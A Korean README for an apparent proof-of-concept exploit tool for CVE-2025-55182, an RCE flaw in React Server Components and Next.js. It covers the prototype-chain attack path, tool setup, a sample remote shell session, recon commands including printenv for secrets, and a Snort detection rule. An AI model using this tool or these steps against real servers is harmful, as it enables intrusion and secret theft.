
# CVE-2025-55182 개념 증명 익스플로잇 React Server Components의 심각한 인증 없는 원격 코드 실행(RCE) 취약점인 CVE-2025-55182에 대한 개념 증명 익스플로잇입니다. 자동화된 Python 익스플로잇, 기술 분석, 탐지 규칙, 그리고 승인된 보안 테스트를 위한 랩 환경 설정을 포함합니다.
CVSS 점수 10.0에 해당하는 React Server Components에 영향을 미치는 치명적인 원격 코드 실행 취약점인 CVE-2025-55182에 대한 포괄적인 개념 증명 익스플로잇 및 교육용 자료입니다.
교육 및 승인된 테스트 목적으로만 사용
이 도구는 교육 목적과 승인된 보안 테스트를 위해서만 제공됩니다. 승인되지 않은 컴퓨터 시스템 접근은 미국의 컴퓨터 사기 및 남용법(CFAA)을 비롯한 각종 법률과 전 세계의 유사한 법률에 따라 불법입니다.
사용자는 반드시:
저자 및 기여자:
이 도구를 사용함으로써 귀하는 본 약관을 이해하고 이에 동의함을 인정합니다.
React2Shell은 2025년 12월에 발견된 치명적인 취약점으로, React Server Components(RSC) 및 이를 구현하는 프레임워크, 특히 Next.js에 영향을 미칩니다. 이 취약점은 단일하게 조작된 HTTP 요청을 통해 인증되지 않은 원격 코드 실행을 가능하게 합니다.
이 저장소에는 다음이 포함되어 있습니다:
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS 점수 | 10.0 (치명적) |
| 공격 벡터 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호 작용 | 없음 |
| 영향 | 완전한 시스템 장악 (RCE) |
| 공개 날짜 | 2025년 12월 |
create-next-app으로 생성된 표준 Next.js 앱도 악용 가능취약한 버전:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0패치된 버전:
취약한 버전:
패치된 버전:
이 취약점은 React Server Components의 역직렬화 로직 내 requireModule 함수에 존재합니다:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
이 결함으로 인해 공격자는 React Flight 프로토콜을 통해 JavaScript의 프로토타입 체인을 탐색하여 constructor.constructor와 같은 속성을 통해 Function 생성자에 접근할 수 있으며, 이를 통해 임의 코드 실행이 가능합니다.
__proto__를 악용하여 자기 참조 구조 생성constructor.constructor를 통해 체인으로 연결하여 Function()에 접근child_process.execSync()를 통해 임의 JavaScript 주입┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests 라이브러리# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| 명령어 | 설명 |
|---|---|
<모든 셸 명령어> | 대상에서 명령어 실행 |
help | 도움말 메시지 표시 |
exit / quit / q | 도구 종료 |
악용 시도를 탐지하려면 이 Snort 규칙을 배포하세요:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
탐지 로직:
Next-Action 헤더(RSC 특유) 모니터링multipart/form-data 페이로드 탐지name="0", status: "resolved_model", then: "$1:__proto__:then"